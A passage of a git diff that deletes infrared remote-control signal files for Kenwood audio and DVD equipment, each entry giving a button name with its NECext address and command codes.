-type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 10 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 10 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 13 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 13 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 14 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 14 00 00 00 -# -name: CATAGORY_< -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 15 00 00 00 -# -name: CATAGORY_LEFT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 15 00 00 00 -# -name: CATAGORY_> -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 16 00 00 00 -# -name: CATAGORY_RIGHT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 16 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 17 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 18 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 18 00 00 00 -# -name: SEEK_MODE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 19 00 00 00 -# -name: SEEK_MODE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 19 00 00 00 -# -name: &()- -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1A 00 00 00 -# -name: '_?! -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1B 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1C 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1C 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1E 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_SCAN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_SCAN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir deleted file mode 100644 index c44a488f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Sirius/2,255.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 09 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0C 00 00 00 -# -name: BANK -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 10 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 13 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 14 00 00 00 -# -name: CATAGORY_LEFT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 15 00 00 00 -# -name: CATAGORY_RIGHT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 16 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 17 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 18 00 00 00 -# -name: SEEK_MODE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 19 00 00 00 -# -name: &()- -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1A 00 00 00 -# -name: '_?! -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1B 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1C 00 00 00 -# -name: SPACE -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_SCAN -type: parsed -protocol: NECext -address: 02 FF 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir deleted file mode 100644 index ee6ee5e84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/182,75.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LD_STOP_[] -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 11 00 00 00 -# -name: LD_PAUSE_ -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 12 00 00 00 -# -name: LD_REW_<< -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 14 00 00 00 -# -name: LD_FF_>> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 15 00 00 00 -# -name: LD_PLAY_> -type: parsed -protocol: NECext -address: B6 4B 00 00 -command: 9A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir deleted file mode 100644 index ce8218ece..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir +++ /dev/null @@ -1,464 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: TUNER/CD_+10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: EQ.EFFECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 1D 00 00 00 -# -name: DELAY_TIME_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4C 00 00 00 -# -name: DELAY_TIME_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 4D 00 00 00 -# -name: TEST_TONE_ON/OFF -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 56 00 00 00 -# -name: TEST_TONE_MODE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 57 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 58 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 59 00 00 00 -# -name: TUNER/CD_0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER/CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: TUNER/CD_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: TUNER/CD_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: TUNER/CD_4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: TUNER/CD_5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: TUNER/CD_6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: TUNER/CD_7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: TUNER/CD_8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: TUNER/CD_9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8A 00 00 00 -# -name: TUNER_P.CALL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: TUNER_P.CALL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: TUNER_P.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: VOL_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOLUME_CONTROL_V -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: VOL_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_CONTROL_^ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: TUNER_DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: EQ.M.CALL -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C5 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAY/PAUSE_>/ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: TAPEA_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPEA_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TAPEA_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TAPEA_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TAPEA_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: TAPEA_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TAPEA_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: BYPASS -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D7 00 00 00 -# -name: TAPEB_REV_PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_R.PLAY_< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPEB_PLAY_> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TAPEB_REW_<< -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TAPEB_FF_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_FFWD_>> -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TAPEB_PAUSE_ -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TAPEB_STOP_[] -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TAPEB_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir deleted file mode 100644 index d5d406a34..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Tuner/184,1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOLBY_PRO_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 00 00 00 00 -# -name: PRESENCE_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 04 00 00 00 -# -name: PRESENCE_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 05 00 00 00 -# -name: DOLBY_3_STEREO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 0E 00 00 00 -# -name: DSP_LOGIC -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 85 00 00 00 -# -name: VISUAL_FIX -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 8F 00 00 00 -# -name: CHANNEL_LEVEL_V -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9E 00 00 00 -# -name: CHANNEL_LEVEL_^ -type: parsed -protocol: NECext -address: B8 01 00 00 -command: 9F 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C2 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: B8 01 00 00 -command: C3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir deleted file mode 100644 index cf7c3e939..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ...REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: ...FWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: ...DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0B 00 00 00 -# -name: .........10 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 0D 00 00 00 -# -name: .........0 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 80 00 00 00 -# -name: TUNER/CD_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 81 00 00 00 -# -name: .........2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 82 00 00 00 -# -name: .........3 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 83 00 00 00 -# -name: .........4 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 84 00 00 00 -# -name: .........5 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 85 00 00 00 -# -name: .........6 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 86 00 00 00 -# -name: .........7 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 87 00 00 00 -# -name: .........8 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 88 00 00 00 -# -name: .........9 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 89 00 00 00 -# -name: ......DOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8F 00 00 00 -# -name: .......TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: .......VIDEO_2 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: .......TAPE_A -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: .......TAPE_B -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: .......VIDEO_1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 96 00 00 00 -# -name: ......UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: ......DIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C6 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C7 00 00 00 -# -name: ...STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAY/PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: ...SEARCH_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: ...SEARCH_FWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: -------REV_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TAPE_A_FWD_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: -------REWIND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: -------FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: -------PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D4 00 00 00 -# -name: -------STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: -------RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D6 00 00 00 -# -name: .......REV_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TAPE_B_FWD_PLAY -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: .......REWIND -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: .......FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: .......PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: .......STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: .......RECORD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir deleted file mode 100644 index 50a94d71b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 06 00 00 00 -# -name: CD_FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 07 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 08 00 00 00 -# -name: SOURCEDIRECT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 54 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 8C 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 90 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 91 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 92 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 93 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 94 00 00 00 -# -name: TAPE2MONITOR -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 95 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 99 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9B 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B8 00 00 00 -command: 9D 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: C9 00 00 00 -# -name: CD_PLAYPAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CB 00 00 00 -# -name: CD_SKIPBACK -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CE 00 00 00 -# -name: CD_SKIPFORWARD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: CF 00 00 00 -# -name: TA_LEFT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D0 00 00 00 -# -name: TA_RIGHT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D1 00 00 00 -# -name: TA_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D2 00 00 00 -# -name: TA_FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D3 00 00 00 -# -name: TA_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D5 00 00 00 -# -name: TB_LEFT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D8 00 00 00 -# -name: TB_RIGHT -type: parsed -protocol: NECext -address: B8 00 00 00 -command: D9 00 00 00 -# -name: TB_REW -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DA 00 00 00 -# -name: TB_FFWD -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DB 00 00 00 -# -name: TB_PAUSE -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DC 00 00 00 -# -name: TB_STOP -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DD 00 00 00 -# -name: TB_REC -type: parsed -protocol: NECext -address: B8 00 00 00 -command: DE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir deleted file mode 100644 index 9947ef824..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 09 00 00 00 -# -name: (0)OpenClose -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 10 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 11 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 13 00 00 00 -# -name: SkipDown -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 16 00 00 00 -# -name: SkipUp -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 17 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 19 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1A 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 1F 00 00 00 -# -name: ABRepeat -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 43 00 00 00 -# -name: (1)Memory -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 4B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 5F 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 8C 00 00 00 -# -name: (7)TextDisp -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 96 00 00 00 -# -name: (8)AllInfo -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 97 00 00 00 -# -name: (9)TitleSearch -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: 98 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C0 00 00 00 -# -name: (3)Title -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C1 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C2 00 00 00 -# -name: (4)Angle -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C3 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C4 00 00 00 -# -name: (6)Subtitle -type: parsed -protocol: NECext -address: B6 0C 00 00 -command: C5 00 00 00 -# -name: (5)Audio -type: parsed -protocol: NECext -address: B6 0C 